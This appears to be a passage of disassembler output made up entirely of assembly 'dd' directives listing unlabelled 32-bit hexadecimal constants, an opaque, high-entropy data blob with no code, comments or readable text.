dd 639F7F15h, 5C25654Ch, 286D052Dh, 0AF32DD30h, 9307D80Fh
dd 9929140Ah, 477E64B4h, 0AF495799h, 2097488Ah, 0F988AF2h
dd 6D8494A5h, 9143C9Ah, 0E758252Fh, 472A4C3Eh, 67D2C9C7h
dd 0E2335908h, 34B66B64h, 4AE1D78Ch, 0BC41CF54h, 8B185238h
dd 73CD822Eh, 3B9BC126h, 0F0461F5Ah, 0B8F7CCD1h, 0E8A3CBE8h
dd 0D80EDECDh, 0D6A72DACh, 7378C0C8h, 0A1BAAD2Fh, 3932C2D8h
dd 911F341Ah, 184DBD4Ch, 41A768B4h, 451930FDh, 1A466Ah
dd 3C7C81DCh, 0BB242AA9h, 64CA32B1h, 34064C2Fh, 52E320F4h
dd 6AD3A0Bh, 4D41C073h, 0FF0991DBh, 90CDBA08h, 0A17919EDh
dd 5042C16Ch, 3DB15961h, 0F5C79042h, 0D3580D2Ah, 31C95869h
dd 0DF562B67h, 0F88E8764h, 9428CBB4h, 0E52EADB7h, 90B95E7Eh
dd 0D322D627h, 0E9AD1420h, 986A5D5Ah, 0B620ECB5h, 49583179h
dd 58B25865h, 45269228h, 64558A20h, 0AD2058B1h, 3C685237h
dd 52E5309Ch, 0B4CE3C2Dh, 414510C5h, 96497B23h, 343F8D4Ch
dd 19EADD27h, 49F23725h, 583AF5F8h, 99D2965Ch, 520AC856h
dd 0E81D654Fh, 59B51D2Ah, 0AF954B8Bh, 5B50A99h, 0B86B04C0h
dd 8544B5DDh, 16D538B4h, 0B429CA2Ch, 0A7745038h, 70E96951h
dd 68BC7366h, 0FAAD5684h, 9C79D1DCh, 4521012Ah, 1512E64Eh
dd 0A2641450h, 0B9F8D0AAh, 6837B0A5h, 667491ADh, 39E3F4FBh
dd 6F2D283Fh, 0EB623586h, 6F077097h, 63A02075h, 29216E61h
dd 7F5250A5h, 64E9C017h, 0AD489620h, 3331B402h, 449538DEh
dd 0B801D00Ah, 0B609C287h, 407E4033h, 343C07D2h, 0B8D75318h
dd 1BD21D4h, 0B13F31F1h, 0A79A343h, 17001A1h, 0CB3CA504h
dd 0A366D42h, 74C27887h, 4821C2Fh, 0AB48CA7Ch, 3CC80AA1h
dd 0F53C427Eh, 0E50A2350h, 3C432C6Ah, 0A9C39B2h, 8BC50185h
dd 544C3C2Bh, 0A1E7732Bh, 0D0F0230Ah, 46852DD1h, 24D00631h
dd 3C3EF40Ah, 0E33E2111h, 71D6106Dh, 0A40AD06Ch, 9918012Eh
dd 4EC70805h, 0A7203CADh, 96316E39h, 301A626Dh, 22B33D78h
dd 50FF233Ch, 6C12E1C9h, 8174D924h, 0B0A5D52h, 22A8601h
dd 528F2608h, 7809F21Ch, 0A1C80EAh, 50C60185h, 48D62909h
dd 0A1EDAB4h, 0D6422CADh, 0E6211548h, 0E06AFAA3h, 2CF0D5D4h
dd 9567FAA9h, 9652D23Dh, 20C5B0B3h, 1666C554h, 0F1309514h
dd 9D663A87h, 2C11810Fh, 0A9A47072h, 96385869h, 781F232Ah
dd 0A06F5370h, 92DD53D8h, 673B37Bh, 387C4263h, 27D753BCh
dd 0FF795427h, 4A2E7D11h, 5643E234h, 325FC988h, 5678DB3Bh
dd 656B27B6h, 0FC486871h, 6C4D31B7h, 35B8E154h, 85D56FCEh
dd 27B5E8D6h, 8067962Ch, 962E5C12h, 962155A0h, 0C8488F7Eh
dd 2E8BED96h, 4A500372h, 5DBD9B38h, 1499FBC8h, 35A53E52h
dd 9AD25C2Ch, 383BE548h, 0A2424891h, 0B5386EAFh, 142E9203h
dd 2C8A8795h, 6FC8A459h, 0DFCC992h, 0A5400E9Fh, 938DC734h
dd 23B6437Ch, 2D627512h, 50D053A3h, 20D741AEh, 68557321h
dd 90F31EDh, 66129E58h, 9F2246ADh, 1675A006h, 27E15297h
dd 8312666Fh, 2E524B44h, 3E2AFDA8h, 0AB509043h, 1AADF443h
dd 8EAEB5A0h, 0D4632752h
dd 27B4C8CCh, 8091F66Ch, 8DD64E7Bh, 0CDF01F57h, 0FB35A263h
dd 3BF4F00Ah, 40432950h, 0AFDD6527h, 0FF2B7851h, 5A445969h
dd 6148A837h, 0D4DF5652h, 47F3B08Dh, 69F4AEC6h, 74B53D58h
dd 9976D8B1h, 7CF04A98h, 0BD724885h, 5650A19Dh, 15DA9DADh
dd 80156B58h, 7AB450A1h, 0D996E82Fh, 47EF0E00h, 2F0B41A2h
dd 0F84B5AA3h, 5842AB30h, 96AF6CBDh, 0E72F67DDh, 502BE438h
dd 55BEF95Bh, 0AF653A41h, 0EC4BA7B6h, 46355EAEh, 6927A2BDh
dd 212528C6h, 7F65123Dh, 2AF8D469h, 20F037C3h, 479FD809h
dd 0B0808CDCh, 9CAA421h, 74D91894h, 5C247012h, 478E387Ch
dd 0B808C82Ch, 8F47EC44h, 0C821D88Ch, 18AC09CAh, 221468D9h
dd 18965490h, 89280244h, 0FC098A1Ch, 0C8D0188Eh, 5630A48Eh
dd 7CC818B0h, 4C7C64E4h, 0C434478Eh, 0EE178DF8h, 188AF327h
dd 9C1CB0D1h, 0C850918Fh, 8CE0F830h, 8FB0788Ch, 60C87411h
dd 181C28F9h, 8BC8888Fh, 0F18898C7h, 8F381C58h, 0E8C40891h
dd 46AC788Ah, 0E498238Ah, 3E2C7250h, 1E89D823h, 58C423A8h
dd 203E2C72h, 0E46488ECh, 1850C409h, 30A018E7h, 0C8186456h
dd 87F4E218h, 87C0233Ch, 18F7B411h, 407C74E4h, 0DC34478Eh
dd 86F48823h, 8C86B8F0h, 68C8A447h, 247C54E4h, 5628448Ah
dd 0E8C41808h, 9E00C85h, 181C8ABCh, 8F79A047h, 3CC86091h
dd 201C24F9h, 1004918Fh, 0EC3A84F4h, 21B88C47h, 9C09CAB4h
dd 1260D918h, 4C2C2454h, 8A08091Ch, 83E41802h, 4409D806h
dd 0AC89B4C4h, 0E6183914h, 231F7839h, 43409148h, 0C1AAE401h
dd 9E3D338Dh, 5254E11h, 0C8AA7757h, 3BF92011h, 63E08952h
dd 0B00FBD48h, 0DBAB27FEh, 55E98C2Fh, 20CE33D8h, 296B6561h
dd 35323832h, 6192531Dh, 39455DECh, 0E0A66BADh, 29547669h
dd 39843134h, 630C776Eh, 2E1A6B64h, 52B86EDCh, 2E28F644h
dd 0C8FA6F4Ch, 92531B20h, 0F20C77DBh, 22425C65h, 4E08A157h
dd 35CA97DBh, 6D24075Ah, 4CDD6B87h, 0EDAC79DBh, 7033C9CFh
dd 0DD3762C8h, 73610C28h, 0CFF96D58h, 326C80B6h, 346C91DFh
dd 49C96964h, 1DC24698h, 0DBEAE3DDh, 2DE78F49h, 73DF44D7h
dd 0FF4849A4h, 213B69D5h, 2C6E4990h, 6AFB7C5Fh, 7C0AA0A5h
dd 9C52B85Bh, 0F7C3FAA5h, 9AE7484Bh, 0DCB38F7h, 6E322605h
dd 3C72FE4Dh, 88321342h, 58A18C18h, 50D24946h, 0AB205675h
dd 6B9E3E12h, 0F0385CA9h, 18D66843h, 0C4FE52ABh, 4E8EF004h
dd 626A757Ch, 54D92012h, 6C95832Bh, 0D664683Ch, 4F5C542Ah
dd 8E205852h, 0C7736D57h, 164041FBh, 0F7CCA1AFh, 18790483h
dd 0C9757127h, 0BF2C52B9h, 9CC64128h, 85742003h, 0D221683Ch
dd 4023443Dh, 53C1D7Ah, 25626954h, 0FA105FDFh, 21ECA570h
dd 29347248h, 0E9FF5279h, 0A8753162h, 8DAB7B1Ah, 20208D97h
dd 89986E1Fh, 0AB42D6FDh, 7B833C14h, 3BD6A8ECh, 0D9BC5A6Dh
dd 0B969B79Eh, 41309EACh, 4E455603h, 0A9494853h, 3423444Ch
dd 0E06612Fh, 2BED8772h, 29B01957h, 8980A733h, 2EE36C45h
dd 0BA8EE9C7h, 8466C6D4h, 0ADED2073h, 0D54193A6h, 5C37372Ah
dd 50B49FC8h, 0CE37CEADh, 4C48A170h, 480B965Dh, 8E8D5EA6h
dd 0C3B94023h, 3916CEF9h, 41294946h, 55404881h, 41A32FA3h
dd 0D3391123h, 14CEE940h, 0E26FD7A1h, 2F3AF441h, 0AF6BEB37h
dd 7A057412h, 455E6995h, 367669CDh, 47E35846h, 53B34DCBh
dd 294624CDh, 5E2DE945h, 58704646h, 6458796Bh, 649191EAh
dd 0AA33A15h, 0A132B54Eh, 8D566810h, 0C83D213Eh, 40B07460h
dd 50438397h, 9A73F375h, 0A584CE69h, 0FE6C2178h, 4D9A4A8Dh
dd 2CEB2B26h, 0B66E30B6h, 3F86A6ADh, 7B4D6937h, 57500B5Fh
dd 193A6885h, 0D368BC35h, 6C9564EAh, 36D24EE8h, 234C854Dh
dd 0F07CA3E5h, 0DC827242h, 75182A10h, 804AE167h, 52500EBDh
dd 0F9849168h, 557840A1h, 0D75A24A6h, 53976A66h, 944C246Ch
dd 47AF5C73h, 0D750D136h, 473A2C3Ah, 6C53CAFEh, 2DA15D5Ch
dd 4A1753A1h, 41EEC5B1h, 9FA66F26h, 3A37095Ah, 664A78C6h
dd 1D09B7C7h, 0D2424808h, 60844114h, 266FB08Fh, 49105A28h
dd 9C48416Fh, 7E702929h, 51685285h, 94503A52h, 6C422531h
dd 2C228BD6h, 0FE685726h, 0AB606514h, 49D03246h, 880F42C9h
dd 2D666499h, 56201B48h, 886EEA0Ch, 21574CF6h, 50155236h
dd 34393182h, 0D92ED032h, 0A4749688h, 0EF2CB0EAh, 35896E16h
dd 8C49E3EFh, 7DE4188Eh, 91510E52h, 3352AC80h, 5416616Fh
dd 4210EDAFh, 70B529D0h, 1DB154C5h, 32744512h, 2AA3B445h
dd 21DFD0C8h, 66461A4Fh, 0BA586663h, 577D9FDDh, 0E744B348h
dd 701A777Bh, 391EC4EAh, 49394C84h, 32267F47h, 7693453Ah
dd 3C53C6D3h, 9CD66B59h, 0ED4F21D1h, 59BF7D1Ah, 6E550BE9h
dd 24AA727Ah, 4F3CC256h, 8E923152h, 8C309634h, 2C7F9E21h
dd 5F82513h, 0B25C792Dh, 7119C443h, 5595A070h, 8732A454h
dd 6A33644Ch, 0DD4B33C8h, 0EE9FB496h, 20506FCFh, 9637504h
dd 86C8E449h, 0D029FB0Eh, 0A83577A4h, 84E616EFh, 0A58FA85Bh
dd 9E6328B7h, 0E625664Fh, 0B4F4526Eh, 84CC73B0h, 7781BD13h
dd 0F6F179FCh, 38C847D3h, 4528D456h, 0B805D55Fh, 9E4C8FA9h
dd 66644E32h, 2E4D5C92h, 0AE6D3793h, 2E4DBEBEh, 0E5048541h
dd 0DB723C92h, 8770A3D6h, 4B306433h, 49ABB177h, 724D5EB1h
dd 3C293179h, 1C634BF7h, 6B76F870h, 0CF794365h, 7F572F4Ah
dd 35384412h, 2AA7B947h, 485DCCD2h, 2D1D6622h, 4026694Ch
dd 0AED656D9h, 0D11BD5D0h, 7547A1B1h, 4172EAE2h, 5F336828h
dd 0F3739865h, 903C47F8h, 0B4399027h, 414711C8h, 0A1A6056Ch
dd 4921A46Ch, 0AD8A6717h, 75E2B848h, 6E200D49h, 0A04146F3h
dd 0BD70331Eh, 2D133453h, 0A6C49E64h, 0D2298D98h, 3F50FF30h
dd 2F0DB9C0h, 0C41A2E09h, 7870505Fh, 6C82536h, 0D007088Ah
dd 3A893C44h, 2DEE6595h, 15A494CDh, 956552A5h, 5CCBDF45h
dd 0FCCCB42Eh, 340EB948h, 0A42FB9D2h, 0B4BA29AAh, 48349CE5h
dd 2AE1942Dh, 82BE257Fh, 0BA8B47B1h, 0A7A49377h, 5BFFDE6Dh
dd 8A4AAC12h, 776B1C41h, 12B6F91Bh, 93EE7ABFh, 0E73637BDh
dd 0D4AD9876h, 97F5AF2h, 0DBFFA960h, 2C1021D5h, 34F6AD02h
dd 0DEAD10E8h, 0CC114822h, 786B4521h, 8EF07856h, 5D59B730h
dd 0A1B4F6ADh, 9591A150h, 27DC5343h, 58F326F0h, 484F5372h
dd 4EC506ACh, 66AB096Fh, 0A87F8892h, 0C22D5265h, 73B91118h
dd 2D311044h, 0B4964E57h, 7CCCED43h, 8E124597h, 18145732h
dd 0EE8C41E8h, 2D4FE364h, 52A61442h, 45056D58h, 0BAB36F60h
dd 4769493Fh, 9AF599ABh, 1151A8B0h, 62615484h, 5343008Dh
dd 9D3FC768h, 0A230C87Bh, 0DD28C244h, 0E19DD3C4h, 92E26FF4h
dd 0C9A875E7h, 415F8A3Eh, 31C87E20h, 0B5462364h, 95DDBFBEh
dd 5A2AB33Eh, 0CC4ABAB9h, 6A9F74D8h, 6E831117h, 101D0331h
dd 230DBCA6h, 8EB3220Ch, 29D78A18h, 85E4F10Ch, 33444F54h
dd 0D0424144h, 0A4EC5B58h, 532A14D1h, 1E52BD86h, 6268EE98h
dd 896A146Fh, 5D504234h, 8EC3B610h, 0DF2A820Ch, 0A4B83208h
dd 6B497130h, 0B008FBA1h, 6FA2CA45h, 1ED7CB10h, 0F510823Ah
dd 40AA2645h, 833C21D1h, 4C7A6F4Dh, 2F16B528h, 13081334h
dd 69DCED06h, 95925E4Ch, 8F4C4829h, 4C1EDB9Ah, 71BD1486h
dd 5B2868A6h, 557EF0ACh, 41526CF4h, 0D0F9D314h, 14431343h
dd 9DE424D0h, 48241309h
dd 6BCCFAF7h, 14237EDBh, 148734A0h, 47153C23h, 5D4CD43Fh
dd 783D5063h, 714D1CADh, 0B46E1C2Fh, 0BBFF3437h, 0DFA8C825h
dd 35C32DDCh, 886DC46Bh, 681B0C6Ah, 7962A134h, 281BE347h
dd 28521040h, 2CE8101Eh, 0C2242C8h, 70FD19F3h, 9F616264h
dd 10D73464h, 0DE709DF3h, 627AAC39h, 586C6962h, 765BAB9Ah
dd 0C644ED4h, 0F873080Ah, 0C25E7492h, 0C7E87C26h, 43E9CC3Eh
dd 0FB732208h, 746CB407h, 8AC91010h, 0CE8A45Fh, 19FD53B7h
dd 698F3A62h, 5D6C0AD9h, 30070DE0h, 4148537Ch, 20BC51CFh
dd 0CAA7062h, 27EBEDF5h, 7CE8A95Ch, 1D705F1Ch, 5D494446h
dd 20684A73h, 90FCBF2Ch, 0AE637F01h, 0EA21DEC8h, 0C49EF53h
dd 542CA37Ah, 0F1BD7360h, 0CCB26964h, 0CE4162F5h, 0EC108474h
dd 4758B443h, 0D477AE69h, 295024B0h, 493D7424h, 85434227h
dd 0EF8A7236h, 0F57F1445h, 938710Bh, 484576F8h, 8CA4B6ADh
dd 0AF77D714h, 141DE229h, 2C3164DEh, 71316467h, 5EAC6647h
dd 5F9282ADh, 8183654Ch, 752F6469h, 791AE175h, 0ABD2B729h
dd 8CC82894h, 7E58D053h, 0C31B7327h, 0D010664Ch, 8474D715h
dd 1536DC64h, 7ECC9F71h, 21A6118Eh, 75820E86h, 0F85D044h
dd 430D10A1h, 82649C4Dh, 0D25D372h, 60D66AE8h, 6B646FF2h
dd 0BCA1502Eh, 9C676A34h, 6F4C43BCh, 1D682651h, 0EAB91713h
dd 32D7EB50h, 54352841h, 0ABB48825h, 466E6B69h, 3243A319h
dd 12DF216Bh, 0D70F2BC9h, 6A305988h, 4D12A1EEh, 0B4435981h
dd 34502283h, 5B0E4367h, 0BB76DCA4h, 0AD586A88h, 0F3B2A20Eh
dd 0B8F95F19h, 0A11299Ah, 9DC23F54h, 8124AD41h, 19698E36h
dd 113B541Ah, 69B40365h, 0CB733132h, 6C9984CAh, 4C8F0AA8h
dd 7215DB62h, 0E474064h, 69684437h, 23853C14h, 6CBD5EB8h
dd 0E0D48291h, 1EDC0B91h, 489BA946h, 4B682C8Dh, 0E18A9CDDh
dd 0CE92507Bh, 22EC53A4h, 0A44E72BAh, 4B9C79BDh, 0B5FEB5DFh
dd 348FFA38h, 7B458DD3h, 754E2BB3h, 0AFD9EA1Dh, 0D84FF7C2h
dd 52565C2Fh, 1B812808h, 284EBF6Bh, 915392F8h, 0D04DF85Eh
dd 0AFC5EA2h, 953B799Ah, 2BFC225Eh, 21D01043h, 1292BDD5h
dd 0C287120Fh, 530270C1h, 0DD40CB6Eh, 138834BFh, 0A9F56694h
dd 0D0356AF5h, 476C32C2h, 1C9E27CCh, 6E7ADF81h, 4CCE3CE7h
dd 0C8B4363Fh, 0A0BE45B7h, 39414F34h, 0EE297BC8h, 2785F63Bh
dd 1A70884Fh, 2D534F5Ch, 40331E5Ch, 725270F0h, 7949F21Ah
dd 0F235C800h, 1A85EC58h, 34E34EE4h, 0B5E43491h, 89180B20h
dd 0A12C6557h, 7557599Ch, 8F4E0BE8h, 0E9653447h, 6B02847Fh
dd 438D5980h, 474BB2E9h, 0CE34A394h, 0AF5473C9h, 707F14EDh
dd 52496DE3h, 65445C94h, 72FD4CBFh, 12DE2E7Ah, 66CAECE4h
dd 0AB747509h, 0DC4B1CF3h, 93BB6480h, 0B1841D73h, 0EF2F2012h
dd 0BF74BB9Dh, 0DC40014Bh, 11666758h, 0B43A0A0Dh, 4586488Eh
dd 969BD12h, 31589D22h, 66691631h, 1DB24DEBh, 3D7C1042h
dd 5A686F67h, 0CE73D127h, 2E17A0ACh, 42BA624Ah, 5C3A630Ch
dd 70290470h, 60A10F6Fh, 0A0E45C5h, 47CF52h, 34544944h
dd 4E256A3Eh, 5CA63A8Ah, 0A1452C78h, 3E293D1Ch, 80405A15h
dd 4B79485Bh, 4C5F5903h, 0A741434Fh, 0DF4E4D67h, 0EB4E498Fh
dd 0BBCA7C5Ch, 0ABA957Dh, 253D80E5h, 0CCBF3B5Ch, 544204D1h
dd 850BD5FEh, 98A2F989h, 5D975D73h, 0EBFC2296h, 42B7F493h
dd 259428BAh, 5C3D228Eh, 0AA9D3ED5h, 64DEC893h, 19D1417Bh
dd 4428A999h, 642D8D90h, 3A2984FAh, 34150130h, 77C2AA99h
dd 19526175h, 0BD955EFBh, 0A6658E0Bh, 0CF913D31h, 695E5FB7h
dd 8E21DF8Fh, 5446F0DBh, 0F352F857h, 4F77382Fh, 808744B0h
dd 616EC4EEh, 4F1392F2h, 4E364F4Dh, 78B925F5h, 0A299D624h
dd 0CCD42E0Fh, 0DE0B90AEh, 61734C05h, 9C7BB73Fh, 0A1DFA033h
dd 56946E3Dh, 0F1519779h, 312B435Fh, 0BA27559Bh, 0A1C4507Dh
dd 9D6564E6h, 417424B1h, 4C769E4Eh, 62832775h, 26486F63h
dd 0D4544346h, 0DA0A304Ch, 9481BD06h, 0B87DC064h, 6DBE8AA5h
dd 61FC561Fh, 143A2F9Dh, 7057DF93h, 41855C2Ah, 31CB1375h
dd 226B57EAh, 327AA763h, 85F68CF6h, 0E0177235h, 70D554D9h
dd 35A294E3h, 0B2871ADh, 0F7997DA2h, 971DD0FAh, 4264EF83h
dd 69B5C676h, 22274D5h, 505949FCh, 7515DF30h, 0E8344281h
dd 9F6DE844h, 0DC8BD208h, 4C64939Eh, 241AC6B1h, 2497C492h
dd 0E1DC2547h, 0FC194481h, 1A2E938Eh, 49872892h, 504D4309h
dd 0C84ADC52h, 60A55FB9h, 0CD574758h, 9765740Ch, 90A5660Ch
dd 44A2710Bh, 1D5CBC4Ah, 47963421h, 6C0AF985h, 0EF744279h
dd 2993B35Eh, 0FCF37E89h, 747D7329h, 778F229Dh, 1ED0DE55h
dd 2BF96D61h, 170A922Dh, 93C34976h, 7AEAE1B6h, 631E1094h
dd 17D51AAFh, 43544075h, 33043150h, 704F3032h, 33C849CAh
dd 0F84B7B7Ch, 0DAAAA270h, 0F76DE87Dh, 3232334Bh, 9E9F388Ch
dd 0A8244293h, 340FCE34h, 4B78326Fh, 37A2D132h, 453722ADh
dd 9008783Bh, 894EBED4h, 0D26B0A9Bh, 0A236160Ah, 65E9B77Eh
dd 6B6DD52Fh, 4D93281Dh, 5F756A4Fh, 3BD4C53h, 0A7F91252h
dd 34F14557h, 31353C90h, 5358B293h, 416E3C79h, 96296BA5h
dd 3210D617h, 93157DF9h, 0DCF8C264h, 79294996h, 5040979Fh
dd 2C55544Dh, 0A6184842h, 4692754Ah, 0E2C48357h, 0BA67518Ch
dd 0A75695BEh, 78FE0B2Fh, 91408792h, 4A38A934h, 0AF297A6Bh
dd 0BFD1E655h, 3C8DEDC6h, 38592528h, 7833A9C6h, 9579D249h
dd 3BE8C3FCh, 0ADED777Bh, 25BAE83Bh, 3785A84Eh, 4DC5B1D2h
dd 0FC697597h, 0E2275D21h, 0EB7DCF32h, 0A43E37FEh, 9F5FCB73h
dd 52701249h, 2A00121Ah, 683F4F30h, 6E4D656Fh, 0FCC1444Ah
dd 0F5C34B81h, 159DE44Fh, 25F9FD72h, 5DFF492Dh, 4A092D85h
dd 3AB220C4h, 4B9563F9h, 61529A07h, 8758C67Bh, 6D5D7B73h
dd 0BB38D00Ch, 6920934Fh, 1D4B42DAh, 4767F20Dh, 3021FA72h
dd 2A74162Fh, 496D58CFh, 0E82AB9B0h, 48205786h, 0AE8BB4AFh
dd 4ACACFE4h, 70F0D659h, 0E4B7FAA3h, 4D093E61h, 64757861h
dd 48F8BC6Ah, 2B5725C1h, 14B31D5Eh, 9FD4032h, 1A3E19BBh
dd 0EB04135h, 0A94F8B35h, 9F5A5E00h, 1AB86943h, 0BA437947h
dd 0C86B8BF4h, 0F0B17C31h, 32D9EEA3h, 0B53AB5DEh, 99F48F6Ch
dd 56DE3802h, 0DE8ADC14h, 85E34655h, 4E44D06Bh, 3A3D534Bh
dd 0B6207E20h, 37288094h, 31333A29h, 36E2C68h, 0C0F0869h
dd 0C8344376h, 39FC7B38h, 82CF12FEh, 95C7D2E9h, 547189E6h
dd 0F2BE4C5Dh, 0CA01CF34h, 4F702556h, 64C7B99h, 0B6E5B49h
dd 5D896620h, 499F2D09h, 0BDE6DCE9h, 92464856h, 0E05E8B93h
dd 0D3647055h, 31998A5Eh, 206C9F4Ch, 6AB3824Eh, 0E26E44BFh
dd 47C94E8Bh, 30A5710Bh, 4D7049B7h, 0C71EECDAh, 0D24E596Fh
dd 2DDF6688h, 0ED0B5E62h, 4444E706h, 1D2D4094h, 0FBE7E92Dh
dd 0E91B9DA5h, 5A597E92h, 851C462Dh, 0B664D273h, 0F41F1ED3h
dd 85786252h, 9FDEF937h, 0D2489B31h, 9395B8D5h, 383B382Bh
dd 5053F243h, 29A19E0Dh, 6CBC7EE9h, 50D28E27h, 986368EEh
dd 4EF54494h, 0EA649110h, 761A625Ch, 0FA552453h, 43CA857Bh
dd 3F953835h, 94514B38h, 344BAE38h, 42336DC8h, 0BCCF3269h
dd 9DB095E9h, 0F406E433h, 0D6FF6A95h, 0A03C2F0Ah, 34623429h
dd 9A62955Ch, 0DFBC5B63h, 6F352BAEh, 1DD3C452h, 0A5615764h
dd 23097A0Bh, 32F31F65h
dd 6D4C4EDFh, 0DE95A56Ch, 5A3948BFh, 0CF72DC0Fh, 2946CE2Ch
dd 3D995B50h, 8B67DA64h, 996BF6E7h, 734C2518h, 5AB6C59Ah
dd 35FA844Ah, 95AEA275h, 5A79AF3Ah, 3150B1A1h, 5966F639h
dd 57F85C37h, 95DC5EB1h, 726DD5F4h, 6CBD2F26h, 5AB3B521h
dd 905C31F2h, 0FAE187F6h, 1CF45F5Ch, 7B525543h, 25544E9Eh
dd 5C9218F4h, 7FEAB1F8h, 4BB34E95h, 24F7A720h, 95D65B5Dh
dd 739737C5h, 5F3157C0h, 19179D30h, 40E9359Dh, 523D8776h
dd 5384F715h, 81BF4154h, 0D9572F78h, 0C3D6E649h, 0F7531CECh
dd 0BC5F255Ah, 0E3124298h, 0A7104B30h, 0A1B992B4h, 0A96E6417h
dd 5F4EF243h, 62084FCDh, 7276E979h, 7438F64Bh, 55644887h
dd 4E62B7BFh, 97B9FF16h, 7FBFA89Fh, 0F5799750h, 0AF442E14h
dd 0AA7B2F47h, 74D22183h, 804E2E79h, 0D5F2AAB4h, 0C8DD6724h
dd 47F5524Ah, 427569B4h, 0C01FFDC5h, 183B5DA5h, 57BA0B4Ah
dd 4240F916h, 0E92AA940h, 3D69B455h, 750A3C0Eh, 0FE7B7064h
dd 52937495h, 7BC84015h, 945397DEh, 150D896Eh, 0F45CA750h
dd 636B5023h, 5564EA9Bh, 0F697A464h, 98DCEBA0h, 0BC0A7066h
dd 0C42E44E6h, 29447E5Ch, 56A72B50h, 0FECB3A27h, 5EE8C875h
dd 55807468h, 0C82145E8h, 0AEEFBD5Eh, 0F44F498Bh, 488F7EAAh
dd 0C94FDC4Bh, 0DBE85BF6h, 51B89BA4h, 0FF5B7A28h, 8266486h
dd 96D4E68h, 6EEF85Bh, 4F464E49h, 43F6B65Dh, 0F555033h
dd 3436F825h, 484D0D75h, 3E222E7Ah, 110062A1h, 0AA424B73h
dd 6C910293h, 660C912Ch, 3D6BC928h, 1F8A8CFAh, 1B8C1D14h
dd 32534F34h, 92BD29EEh, 26AB282Fh, 42284425h, 7C81E075h
dd 5849A729h, 5089F23h, 481DB241h, 123DB25Dh, 0C3137551h
dd 46B92A4Ah, 1DB1A1D2h, 63E52F29h, 732C0C19h, 55280C47h
dd 970E8EE1h, 373D28F1h, 79E4024Dh, 9E52F850h, 25DFB94Eh
dd 0BCEDF972h, 49DB6836h, 86E0FA9Dh, 218DB6Dh, 8071FA84h
dd 8BE5058h, 4D204B20h, 38392045h, 11544E32h, 975B0735h
dd 2C14A945h, 3CAC4295h, 0BF4958ACh, 3BCE645Bh, 0E9442D3h
dd 0E412F4Eh, 48B87D4Ch, 2D2E5039h, 0D2196397h, 4914FF6Fh
dd 209964E6h, 972BDF7Ah, 0BFD6C5FCh, 0D625E147h, 22F3AFA7h
dd 0AB442E14h, 0FAE5AE48h, 0DAEBCD24h, 0E98442EDh, 83B2FD2Ah
dd 464C5255h, 65ADB860h, 2F72FDF1h, 0A9EAB6CDh, 1F2AB244h
dd 971EDC4h, 8488A118h, 532F2A8Eh, 34EED85Eh, 0E00B3D46h
dd 0C45B4F2Dh, 0ADC9D4D6h, 0C95D3E0Bh, 29EC4BBCh, 552643Ch
dd 40C3E84Bh, 5AE3A09h, 0E9A35D4Ah, 35310307h, 0AE34342Ch
dd 0F033DA1Eh, 2E32E920h, 28259CB2h, 731BB85Eh, 54174C1Bh
dd 3166B948h, 45AA17BBh, 8BFD4F0h, 9554AC9Dh, 8254A554h
dd 143E5782h, 4241308Fh, 39616765h, 34F0C87Ah, 8A9C37Ch
dd 24011264h, 0E23C509Ch, 0CD5BE264h, 22C7C840h, 910AB308h
dd 0B7B8D363h, 4842B491h, 292223FDh, 1DD24572h, 6D7EE944h
dd 7C1F6C6Dh, 0AC2953CAh, 7B2EC5F0h, 82EC4E2Ch, 7BB22AA9h
dd 0B734BAD2h, 1DA580C9h, 3F7ACFFEh, 0AE551354h, 0B84379DAh
dd 2E724DB9h, 1C5ED836h, 71434401h, 0DE4E4526h, 696A7D8Eh
dd 8A014403h, 0B359B434h, 0A6456F2Eh, 35AEAE94h, 8FAC3E51h
dd 0F4643262h, 380BB329h, 125F63E2h, 0E1EA3414h, 2AAD7826h
dd 7A9506E3h, 93581FBDh, 7DCE188Dh, 0C885F04Ch, 693434F2h
dd 98FCF766h, 41E87745h, 82B5ED4Ah, 95622B61h, 8B75E444h
dd 0E63D41FAh, 1D254C93h, 0BCE98864h, 3A419756h, 3961D16Ch
dd 6142F179h, 351D373h, 0EC429FA7h, 9590165Dh, 1D7AC871h
dd 0DBE6A544h, 57DD4C97h, 0F84B9C3Ah, 39FFB477h, 0A2500B71h
dd 65179944h, 3104F772h, 0FB424B66h, 0A640A598h, 0BEF6950Fh
dd 5276D23Ch, 0BD544231h, 0A0215A2Bh, 7C92873Ah, 0DF908B28h
dd 0DF91D7BAh, 4CA1926Bh, 5243395Eh, 0E1A4C94Ch, 35F22A64h
dd 0AC29487Ah, 6F4633BFh, 0F17AA273h, 0BDF920BBh, 92F2688Bh
dd 0A9483A56h, 0EC27B059h, 9BCEA47Bh, 88A0B61Eh, 6E7AF8A7h
dd 8D1C84FDh, 5D18CA4Fh, 75F33A27h, 7C345E4Dh, 7088E6EBh
dd 16CEC49Ch, 65FFC594h, 0A55CFE58h, 0FC644309h, 0FBE36981h
dd 3D82D984h, 4E864124h, 4AC93E0h, 0EBB414ADh, 15F2B324h
dd 441B2E5Ah, 76696109h, 2E6A91B1h, 0B6E5504Fh, 2C939D1Fh
dd 6C0DCDBBh, 7CF4A578h, 5C3A2941h, 1A0B8CA8h, 1B405808h
dd 0CE11C4A6h, 158D040Ch, 287894BFh, 9897804h, 7430C4Dh
dd 11026839h, 15209980h, 8D62F92Eh, 9696818h, 0DBB9876Eh
dd 816A1484h, 4373755Dh, 0AECF2354h, 0FE70121Fh, 1C6E9E34h
dd 4E534D00h, 32335247h, 0A41D5695h, 0F6C1819h, 0EE9D3631h
dd 91544844h, 0A620B340h, 4621CE22h, 0A2D5627h, 782BD834h
dd 54AB69E4h, 8A53A72h, 953837C3h, 82E6B036h, 10F50104h
dd 4C14332h, 5BC709A5h, 0A52A5259h, 0A4300F84h, 3AFD74AEh
dd 4C4F1738h, 2BBB2C84h, 4828D26Ch, 0B03150F4h, 0D409C8E4h
dd 0B822C491h, 4CDCB044h, 0A8286B65h, 9C11C81Ch, 8C099499h
dd 78248412h, 68917048h, 58445C22h, 114C8950h, 0A33669BCh
dd 3428E94Ah, 6072203Ch, 48302434h, 58209428h, 0C9118C8h
dd 0FC360422h, 44095930h, 0DC89E4ECh, 0CC24D412h, 0BC91C448h
dd 0B044B422h, 14A089A8h, 11986C0Ch, 8809C890h, 78228091h
dd 89687044h, 2450125Ch, 91444848h, 443C2240h, 24892C34h
dd 10241C12h, 0FC880448h, 22F4112Fh, 0D8E444F0h, 0C812D089h
dd 0C046E828h, 0ACB87C11h, 11B067ECh, 1C29C8A8h, 9411663Ah
dd 808C4409h, 6C127489h, 60486824h, 0A8B8748Ah, 54115819h
